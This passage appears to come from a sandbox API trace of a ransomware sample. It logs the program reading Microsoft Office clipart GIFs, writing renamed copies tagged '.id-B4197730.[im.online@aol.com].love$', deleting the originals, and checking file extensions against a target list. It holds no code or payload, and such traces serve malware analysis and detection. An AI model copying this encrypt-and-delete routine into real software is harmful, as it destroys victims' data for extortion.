(hObject=0x574) returned 1 [0270.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 1 [0271.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0271.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0271.197] lstrlenW (lpString=".doc") returned 4 [0271.197] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.197] lstrlenW (lpString=".docx") returned 5 [0271.197] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0271.197] lstrlenW (lpString=".pdf") returned 4 [0271.197] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.198] lstrlenW (lpString=".xls") returned 4 [0271.198] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.198] lstrlenW (lpString=".xlsx") returned 5 [0271.198] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0271.198] lstrlenW (lpString=".ppt") returned 4 [0271.198] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0271.198] lstrlenW (lpString=".zip") returned 4 [0271.198] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.198] lstrlenW (lpString=".rar") returned 4 [0271.198] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.198] lstrlenW (lpString=".bz2") returned 4 [0271.198] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.198] lstrlenW (lpString=".7z") returned 3 [0271.198] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0271.198] lstrlenW (lpString=".dbf") returned 4 [0271.198] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0271.198] lstrlenW (lpString=".1cd") returned 4 [0271.198] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0271.198] lstrlenW (lpString=".jpg") returned 4 [0271.198] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0271.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0271.199] lstrlenW (lpString=".doc") returned 4 [0271.199] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.199] lstrlenW (lpString=".docx") returned 5 [0271.199] lstrcmpiW (lpString1=".docx", lpString2="4.GIF") returned -1 [0271.199] lstrlenW (lpString=".pdf") returned 4 [0271.199] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.199] lstrlenW (lpString=".xls") returned 4 [0271.199] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.199] lstrlenW (lpString=".xlsx") returned 5 [0271.199] lstrcmpiW (lpString1=".xlsx", lpString2="4.GIF") returned -1 [0271.199] lstrlenW (lpString=".ppt") returned 4 [0271.199] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0271.199] lstrlenW (lpString=".zip") returned 4 [0271.199] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.199] lstrlenW (lpString=".rar") returned 4 [0271.199] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.200] lstrlenW (lpString=".bz2") returned 4 [0271.200] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.200] lstrlenW (lpString=".7z") returned 3 [0271.200] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0271.200] lstrlenW (lpString=".dbf") returned 4 [0271.200] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0271.200] lstrlenW (lpString=".1cd") returned 4 [0271.200] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF") returned 68 [0271.200] lstrlenW (lpString=".jpg") returned 4 [0271.200] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.200] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0271.200] lstrlenW (lpString="J0099196.GIF") returned 12 [0271.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.204] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=14337) returned 1 [0271.204] CloseHandle (hObject=0x388) returned 1 [0271.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 0x220 [0271.204] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.208] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.208] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0271.213] GetLastError () returned 0x0 [0271.213] ReadFile (in: hFile=0x388, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x3801, lpOverlapped=0x0) returned 1 [0271.216] WriteFile (in: hFile=0x574, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x3810, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x3810, lpOverlapped=0x0) returned 1 [0271.218] ReadFile (in: hFile=0x388, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.218] WriteFile (in: hFile=0x574, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.219] SetEndOfFile (hFile=0x574) returned 1 [0271.219] CloseHandle (hObject=0x574) returned 1 [0271.219] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.219] SetEndOfFile (hFile=0x388) returned 1 [0271.224] CloseHandle (hObject=0x388) returned 1 [0271.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099196.gif")) returned 1 [0271.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0271.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0271.226] lstrlenW (lpString=".doc") returned 4 [0271.226] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.227] lstrlenW (lpString=".docx") returned 5 [0271.227] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0271.227] lstrlenW (lpString=".pdf") returned 4 [0271.227] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.227] lstrlenW (lpString=".xls") returned 4 [0271.227] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.227] lstrlenW (lpString=".xlsx") returned 5 [0271.227] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0271.227] lstrlenW (lpString=".ppt") returned 4 [0271.227] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0271.227] lstrlenW (lpString=".zip") returned 4 [0271.227] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.227] lstrlenW (lpString=".rar") returned 4 [0271.227] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.227] lstrlenW (lpString=".bz2") returned 4 [0271.227] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.227] lstrlenW (lpString=".7z") returned 3 [0271.227] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0271.228] lstrlenW (lpString=".dbf") returned 4 [0271.228] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0271.228] lstrlenW (lpString=".1cd") returned 4 [0271.228] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0271.228] lstrlenW (lpString=".jpg") returned 4 [0271.228] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0271.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0271.228] lstrlenW (lpString=".doc") returned 4 [0271.228] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.228] lstrlenW (lpString=".docx") returned 5 [0271.228] lstrcmpiW (lpString1=".docx", lpString2="6.GIF") returned -1 [0271.228] lstrlenW (lpString=".pdf") returned 4 [0271.228] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.228] lstrlenW (lpString=".xls") returned 4 [0271.228] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.228] lstrlenW (lpString=".xlsx") returned 5 [0271.228] lstrcmpiW (lpString1=".xlsx", lpString2="6.GIF") returned -1 [0271.228] lstrlenW (lpString=".ppt") returned 4 [0271.228] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0271.228] lstrlenW (lpString=".zip") returned 4 [0271.228] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.228] lstrlenW (lpString=".rar") returned 4 [0271.228] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.229] lstrlenW (lpString=".bz2") returned 4 [0271.229] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.229] lstrlenW (lpString=".7z") returned 3 [0271.229] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0271.229] lstrlenW (lpString=".dbf") returned 4 [0271.229] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0271.229] lstrlenW (lpString=".1cd") returned 4 [0271.229] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099196.GIF") returned 68 [0271.229] lstrlenW (lpString=".jpg") returned 4 [0271.229] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.230] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0271.230] lstrlenW (lpString="J0099197.GIF") returned 12 [0271.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.231] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=10898) returned 1 [0271.231] CloseHandle (hObject=0x388) returned 1 [0271.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 0x220 [0271.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.235] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.235] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0271.460] GetLastError () returned 0x0 [0271.460] ReadFile (in: hFile=0x388, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x2a92, lpOverlapped=0x0) returned 1 [0271.504] WriteFile (in: hFile=0x484, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x2aa0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x2aa0, lpOverlapped=0x0) returned 1 [0271.506] ReadFile (in: hFile=0x388, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.506] WriteFile (in: hFile=0x484, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.506] SetEndOfFile (hFile=0x484) returned 1 [0271.507] CloseHandle (hObject=0x484) returned 1 [0271.507] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.507] SetEndOfFile (hFile=0x388) returned 1 [0271.511] CloseHandle (hObject=0x388) returned 1 [0271.511] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.512] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099197.gif")) returned 1 [0271.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0271.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0271.513] lstrlenW (lpString=".doc") returned 4 [0271.514] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.514] lstrlenW (lpString=".docx") returned 5 [0271.514] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0271.514] lstrlenW (lpString=".pdf") returned 4 [0271.514] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.514] lstrlenW (lpString=".xls") returned 4 [0271.514] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.514] lstrlenW (lpString=".xlsx") returned 5 [0271.514] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0271.514] lstrlenW (lpString=".ppt") returned 4 [0271.514] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0271.514] lstrlenW (lpString=".zip") returned 4 [0271.514] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.514] lstrlenW (lpString=".rar") returned 4 [0271.514] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.514] lstrlenW (lpString=".bz2") returned 4 [0271.514] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.514] lstrlenW (lpString=".7z") returned 3 [0271.514] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0271.514] lstrlenW (lpString=".dbf") returned 4 [0271.514] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0271.515] lstrlenW (lpString=".1cd") returned 4 [0271.515] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0271.515] lstrlenW (lpString=".jpg") returned 4 [0271.515] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0271.515] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0271.515] lstrlenW (lpString=".doc") returned 4 [0271.515] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.515] lstrlenW (lpString=".docx") returned 5 [0271.515] lstrcmpiW (lpString1=".docx", lpString2="7.GIF") returned -1 [0271.515] lstrlenW (lpString=".pdf") returned 4 [0271.515] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.515] lstrlenW (lpString=".xls") returned 4 [0271.515] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.515] lstrlenW (lpString=".xlsx") returned 5 [0271.515] lstrcmpiW (lpString1=".xlsx", lpString2="7.GIF") returned -1 [0271.515] lstrlenW (lpString=".ppt") returned 4 [0271.515] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0271.516] lstrlenW (lpString=".zip") returned 4 [0271.516] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.516] lstrlenW (lpString=".rar") returned 4 [0271.516] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.516] lstrlenW (lpString=".bz2") returned 4 [0271.516] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.516] lstrlenW (lpString=".7z") returned 3 [0271.516] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0271.516] lstrlenW (lpString=".dbf") returned 4 [0271.516] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0271.516] lstrlenW (lpString=".1cd") returned 4 [0271.516] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099197.GIF") returned 68 [0271.516] lstrlenW (lpString=".jpg") returned 4 [0271.516] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.516] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0271.517] lstrlenW (lpString="J0099200.GIF") returned 12 [0271.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.518] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=16543) returned 1 [0271.518] CloseHandle (hObject=0x388) returned 1 [0271.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 0x220 [0271.519] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0271.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.519] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.519] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x484 [0271.521] GetLastError () returned 0x0 [0271.521] ReadFile (in: hFile=0x388, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x409f, lpOverlapped=0x0) returned 1 [0271.527] WriteFile (in: hFile=0x484, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x40a0, lpOverlapped=0x0) returned 1 [0271.533] ReadFile (in: hFile=0x388, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.533] WriteFile (in: hFile=0x484, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.533] SetEndOfFile (hFile=0x484) returned 1 [0271.534] CloseHandle (hObject=0x484) returned 1 [0271.534] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.534] SetEndOfFile (hFile=0x388) returned 1 [0271.538] CloseHandle (hObject=0x388) returned 1 [0271.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0271.823] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099200.gif")) returned 1 [0271.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0271.825] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099200.GIF") returned 68 [0271.825] lstrlenW (lpString=".doc") returned 4 [0271.825] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.825] 